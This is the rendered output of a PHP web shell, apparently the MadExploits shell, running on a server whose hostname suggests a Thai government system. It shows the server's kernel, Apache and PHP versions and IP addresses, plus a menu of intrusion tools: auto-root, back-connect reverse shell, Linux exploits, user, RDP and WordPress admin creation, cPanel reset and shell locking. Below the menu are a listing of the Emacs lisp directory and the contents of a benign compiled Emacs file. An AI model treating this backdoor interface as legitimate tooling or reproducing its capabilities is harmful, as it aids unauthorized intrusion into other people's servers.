Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vc-hg.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:05:27 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/vc-hg.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`vc-hg.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; #@44 Global switches to pass to any Hg command. (custom-declare-variable 'vc-hg-global-switches 'nil '(#$ . 601) :type '(choice (const :tag "None" nil) (string :tag "Argument String") (repeat :tag "Argument List" :value ("") string)) :version "22.2" :group 'vc) #@138 String or list of strings specifying switches for Hg diff under VC. If nil, use the value of `vc-diff-switches'. If t, use no switches. (custom-declare-variable 'vc-hg-diff-switches 't '(#$ . 865) :type '(choice (const :tag "Unspecified" nil) (const :tag "None" t) (string :tag "Argument String") (repeat :tag "Argument List" :value ("") string)) :version "23.1" :group 'vc) (defalias 'vc-hg-revision-granularity #[nil "\300\207" [repository] 1]) (defalias 'vc-hg-checkout-model #[(files) "\300\207" [implicit] 1]) #@47 Return non-nil if FILE is registered with hg. (defalias 'vc-hg-registered #[(file) "\302!\205 \303!\211\205 \304>?)\207" [file state vc-hg-root vc-hg-state (ignored unregistered)] 3 (#$ . 1387)]) #@36 Hg-specific version of `vc-state'. (defalias 'vc-hg-state #[(file) "\304\305\306\307!!\310\216 r q\210\304\311\312\217*r q\210\313 +\314=\205\202 \315\316\n\"?\205\202 \n\314H\211\317=\203: \320\202\201 \321=\203D \322\202\201 \323=\203N \324\202\201 \325=\203X \326\202\201 \327=\203b \330\202\201 \331=\203l \332\202\201 \333=\203v \334\202\201 \335=\203\200 \320\202\201 \320)*\207" [status standard-output out state nil get-buffer-create generate-new-buffer-name " *string-output*" ((kill-buffer standard-output)) (byte-code "\301\302\303\304\303\305\306!\307\310\311!& \207" [file call-process "hg" nil t "--cwd" file-name-directory "status" "-A" file-name-nondirectory] 11) ((error)) buffer-string 0 string-match ".*: No such file or directory$" 61 up-to-date 65 added 77 edited 73 ignored 82 removed 33 missing 63 unregistered 67] 4 (#$ . 1595)]) #@47 Hg-specific version of `vc-working-revision'. (defalias 'vc-hg-working-revision #[(file) "\303\304\305\306!!\307\216 r q\210\303\310\311\217*r q\210\312 +\313=\2053 \314\315\n\"\2032 \316\317\n\"\2023 \320*\207" [status standard-output out nil get-buffer-create generate-new-buffer-name " *string-output*" ((kill-buffer standard-output)) (byte-code "\301\302\303\304\303\305\306!\307\310\311!& \207" [file call-process "hg" nil t "--cwd" file-name-directory "log" "-l1" file-name-nondirectory] 11) ((error)) buffer-string 0 string-match "changeset: *\\([0-9]*\\)" match-string 1 "0"] 3 (#$ . 2471)]) #@68 String or list of strings specifying switches for hg log under VC. (custom-declare-variable 'vc-hg-log-switches 'nil '(#$ . 3085) :type '(choice (const :tag "None" nil) (string :tag "Argument String") (repeat :tag "Argument List" :value ("") string)) :group 'vc-hg) #@39 Get change log associated with FILES. (defalias 'vc-hg-print-log #[(files &optional buffer) "\304!\210\305rq\210\306\307\310\n\311 &*\207" [buffer inhibit-read-only files vc-hg-log-switches vc-setup-buffer t apply vc-hg-command 0 "log"] 7 (#$ . 3357)]) (byte-code "\302\303N\204\f \304\302\303\305#\210\306\307!\204 \304\307\310\311#\210\307B\312\307!\204( \313\307\314 \"\210\306\315!\2044 \304\315\310\311#\210\315B\312\315!\204D \313\315\316 \"\210\304\301\310\311#\210\301B\312\301!\204^ \313\301\317\301\320\"\210 \"\210\304\311\321\322#\207" [current-load-list vc-hg-log-view-mode-abbrev-table vc-hg-log-view-mode-hook variable-documentation put "Hook run when entering Hg-Log-View mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it. (This is true for all hook variables.)" boundp vc-hg-log-view-mode-map definition-name vc-hg-log-view-mode default-boundp set-default make-sparse-keymap vc-hg-log-view-mode-syntax-table make-syntax-table define-abbrev-table nil derived-mode-parent log-view-mode] 5) #@514 Major mode derived from `log-view-mode' by `define-derived-mode'. It inherits all of the parent's attributes, but has its own keymap, abbrev table and syntax table: `vc-hg-log-view-mode-map', `vc-hg-log-view-mode-abbrev-table' and `vc-hg-log-view-mode-syntax-table' which more-or-less shadow log-view-mode's corresponding tables. In addition to any hooks its parent mode might have run, this mode runs the hook `vc-hg-log-view-mode-hook', as the final step during initialization. \{vc-hg-log-view-mode-map} (defalias 'vc-hg-log-view-mode #[nil "\306\300!\210\307\310 \210\311\312\310\313N\203 \314\311\313\310\313N#\210\315 !\204' \316 \317 \"\210\320\f!\211 \2036 \321 =\203< \322\f\323 \"\210)\324 !\210\325\f!\210#$\326\327!\210\306\330!\210\331\306\332!\210\333\306\334!\210\335 \306\336!\210\337 \340\" )\341\342!\207" [delay-mode-hooks major-mode mode-name vc-hg-log-view-mode-map vc-hg-log-view-mode-syntax-table parent make-local-variable t log-view-mode vc-hg-log-view-mode "Hg-Log-View" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table use-local-map set-syntax-table require add-log log-view-file-re "\\`a\\`" log-view-per-file-logs nil log-view-message-re "^changeset:[ ]*\\([0-9]+\\):\\(.+\\)" log-view-font-lock-keywords append (("^user:[ ]+\\([^<(]+?\\)[ ]*[(<]\\([A-Za-z0-9_.+-]+@[A-Za-z0-9_.-]+\\)[>)]" (1 'change-log-name) (2 'change-log-email)) ("^user:[ ]+\\([A-Za-z0-9_.+-]+\\(?:@[A-Za-z0-9_.-]+\\)?\\)" (1 'change-log-email)) ("^date: \\(.+\\)" (1 'change-log-date)) ("^summary:[ ]+\\(.+\\)" (1 'log-view-message))) run-mode-hooks vc-hg-log-view-mode-hook vc-hg-log-view-mode-abbrev-table local-abbrev-table] 6 (#$ . 4424) nil]) #@66 Get a difference report using hg between two revisions of FILES. (defalias 'vc-hg-diff #[(files &optional oldvers newvers buffer) "@\211\203 \306 !\202 \307\n! \205 \310 ! \f\232\203& \204& \311 \2041 \2031 \f\312\313\2069 \314\311\315\316\"\317 \320\321\322\323\324\" \205[ \203X \325 \325F\202[ \325 D\"&+\207" [files firstfile default-directory cwd working oldvers file-name-directory expand-file-name vc-working-revision nil apply vc-hg-command "*vc-diff*" mapcar #[(file) "\302 \"\207" [file cwd file-relative-name] 3] "--cwd" "diff" append vc-switches hg diff "-r" newvers buffer] 15 (#$ . 6196)]) (defalias 'vc-hg-revision-table #[(files) "\303@!\304\305!r\nq\210\306\216\307\310\311\312\313\314&\210\315\316ed\"!,\207" [files default-directory #1=#:temp-buffer file-name-directory generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1# buffer-name kill-buffer] 2)) vc-hg-command t nil "log" "--template" "{rev} " split-string buffer-substring-no-properties] 7]) (defalias 'vc-hg-revision-completion-table #[(files) "\303\304!\303\305!\211\nL\210\306L\210\307\310\311\312\313\314D\314 D\315\257E!L\210J*\207" [#1=#:--cl-table-- #2=#:--cl-files-- files make-symbol "--files--" "--table--" nil completion-table-dynamic lambda #3=(&rest --cl-rest--) apply #[(#4=#:G70402 #5=#:G70403 #6=#:string) "\302J!\203 \303\304\305\306\307D\307 D\310\257E L\210J\207" [#4# #5# functionp lambda #3# apply #[(#7=#:G70400 #8=#:G70401) "\301J!\207" [#8# vc-hg-revision-table] 2] quote --cl-rest--] 8] quote --cl-rest--] 10]) #@120 Execute "hg annotate" on FILE, inserting the contents in BUFFER. Optional arg REVISION is a revision to annotate from. (defalias 'vc-hg-annotate-command #[(file buffer &optional revision) "\303\304 \305\306\307\n\205 \310\nP&\210rq\210eb\210\311\312!\210e\304\224|)\207" [buffer file revision vc-hg-command 0 "annotate" "-d" "-n" "-r" re-search-forward "^[ ]*[0-9]"] 9 (#$ . 7784)]) (byte-code "\301B\302\303!\207" [current-load-list vc-hg-annotate-re (lambda (#1=#:defconst-tmp-var) (defconst vc-hg-annotate-re #1#)) "^[ ]*\\([0-9]+\\) \\(.\\{30\\}\\)[^:\n]*\\(:[^ \n][^:\n]*\\)*: "] 2) (defalias 'vc-hg-annotate-time #[nil "\301!\205 \302\225b\210\303\304\305\306!!!\207" [vc-hg-annotate-re looking-at 0 vc-annotate-convert-time date-to-time match-string-no-properties 2] 4]) (defalias 'vc-hg-annotate-extract-revision-at-line #[nil "\212\301 \210\302!\205 \303\304!)\207" [vc-hg-annotate-re beginning-of-line looking-at match-string-no-properties 1] 2]) (defalias 'vc-hg-previous-revision #[(file rev) "\302!S\211\303Y\205 \304 !)\207" [rev newrev string-to-number 0 number-to-string] 3]) (defalias 'vc-hg-next-revision #[(file rev) "\304!T\305\306!r q\210\307\216\310\311\312\313\314$\210eb\210\315\316!\210\304\317\320!!+\211\nX\205- \321 !*\207" [rev #1=#:temp-buffer tip-revision newrev string-to-number generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1# buffer-name kill-buffer] 2)) vc-hg-command t 0 nil "tip" re-search-forward "^changeset:[ ]*\\([0-9]+\\):" match-string-no-properties 1 number-to-string] 7]) #@49 Delete FILE and delete it in the hg repository. (defalias 'vc-hg-delete-file #[(file) "\301\302\303\217\210\304\301\305\306\307\310&\207" [file nil (delete-file file) ((file-error)) vc-hg-command 0 "remove" "--after" "--force"] 7 (#$ . 9359)]) #@44 Rename file from OLD to NEW using `hg mv'. (defalias 'vc-hg-rename-file #[(old new) "\302\303\304\305 %\207" [new old vc-hg-command nil 0 "mv"] 6 (#$ . 9611)]) #@62 Register FILES under hg. REV is ignored. COMMENT is ignored. (defalias 'vc-hg-register #[(files &optional rev comment) "\301\302\303\304$\207" [files vc-hg-command nil 0 "add"] 5 (#$ . 9778)]) #@36 Create a new Mercurial repository. (defalias 'vc-hg-create-repo #[nil "\300\301\302\301\303$\207" [vc-hg-command nil 0 "init"] 5 (#$ . 9978)]) (defalias 'vc-hg-responsible-p 'vc-hg-root) #@54 Return non-nil if FILE could be registered under hg. (defalias 'vc-hg-could-register #[(file) "\301!\205\n \302\303\304\217\207" [file vc-hg-responsible-p nil (byte-code "\302\303!rq\210\304\216\305\306\307 \310\311%+\207" [#1=#:temp-buffer file generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1# buffer-name kill-buffer] 2)) vc-hg-command t nil "add" "--dry-run"] 6) ((error))] 3 (#$ . 10171)]) #@62 Hg-specific version of `vc-backend-checkin'. REV is ignored. (defalias 'vc-hg-checkin #[(files rev comment) "\302\303\304\305\306 &\207" [files comment vc-hg-command nil 0 "commit" "-m"] 7 (#$ . 10606)]) (defalias 'vc-hg-find-revision #[(file rev buffer) "\305\211\n\203 \306 \307\f\310\311\n&\202 \306 \307\f\310$*\207" [coding-system-for-write coding-system-for-read rev buffer file binary vc-hg-command 0 "cat" "-r"] 7]) #@99 Retrieve a revision of FILE. EDITABLE is ignored. REV is the revision to check out into WORKFILE. (defalias 'vc-hg-checkout #[(file &optional editable rev) "\304\211r\305\n!\206\f pq\210 \203 \306\307\310\n\311\312 &\202$ \306\307\310\n\311$+\207" [coding-system-for-write coding-system-for-read file rev binary get-file-buffer vc-hg-command t 0 "cat" "-r"] 7 (#$ . 11043)]) (defalias 'vc-hg-workfile-unchanged-p #[(file) "\301!\302=\207" [file vc-hg-state up-to-date] 2]) (defalias 'vc-hg-revert #[(file &optional contents-done) "?\205 \303\304!r q\210\305\216\306\307\310\n\311$+\207" [contents-done #1=#:temp-buffer file generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1# buffer-name kill-buffer] 2)) vc-hg-command t 0 "revert"] 5]) (byte-code "\302B\303\302!\204 \304\302\305 \306 \307\310#\210\306 \311\312#\210 )\"\210\302\207" [current-load-list map vc-hg-extra-menu-map default-boundp set-default make-sparse-keymap define-key [incoming] (menu-item "Show incoming" vc-hg-incoming) [outgoing] (menu-item "Show outgoing" vc-hg-outgoing)] 6) (defalias 'vc-hg-extra-menu #[nil "\207" [vc-hg-extra-menu-map] 1]) (defalias 'vc-hg-extra-status-menu #[nil "\207" [vc-hg-extra-menu-map] 1]) (byte-code "\302\303N\204\f \304\302\303\305#\210\306\307!\204 \304\307\310\311#\210\307B\312\307!\204( \313\307\314 \"\210\306\315!\2044 \304\315\310\311#\210\315B\312\315!\204D \313\315\316 \"\210\304\301\310\311#\210\301B\312\301!\204^ \313\301\317\301\320\"\210 \"\210\304\311\321\322#\207" [current-load-list vc-hg-outgoing-mode-abbrev-table vc-hg-outgoing-mode-hook variable-documentation put "Hook run when entering Hg-Outgoing mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it. (This is true for all hook variables.)" boundp vc-hg-outgoing-mode-map definition-name vc-hg-outgoing-mode default-boundp set-default make-sparse-keymap vc-hg-outgoing-mode-syntax-table make-syntax-table define-abbrev-table nil derived-mode-parent vc-hg-log-view-mode] 5) #@526 Major mode derived from `vc-hg-log-view-mode' by `define-derived-mode'. It inherits all of the parent's attributes, but has its own keymap, abbrev table and syntax table: `vc-hg-outgoing-mode-map', `vc-hg-outgoing-mode-abbrev-table' and `vc-hg-outgoing-mode-syntax-table' which more-or-less shadow vc-hg-log-view-mode's corresponding tables. In addition to any hooks its parent mode might have run, this mode runs the hook `vc-hg-outgoing-mode-hook', as the final step during initialization. \{vc-hg-outgoing-mode-map} (defalias 'vc-hg-outgoing-mode #[nil "\306\300!\210\307\310 \210\311\312\310\313N\203 \314\311\313\310\313N#\210\315 !\204' \316 \317 \"\210\320\f!\211 \2036 \321 =\203< \322\f\323 \"\210)\324 !\210\325\f!\210)\326\327!\207" [delay-mode-hooks major-mode mode-name vc-hg-outgoing-mode-map vc-hg-outgoing-mode-syntax-table parent make-local-variable t vc-hg-log-view-mode vc-hg-outgoing-mode "Hg-Outgoing" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent 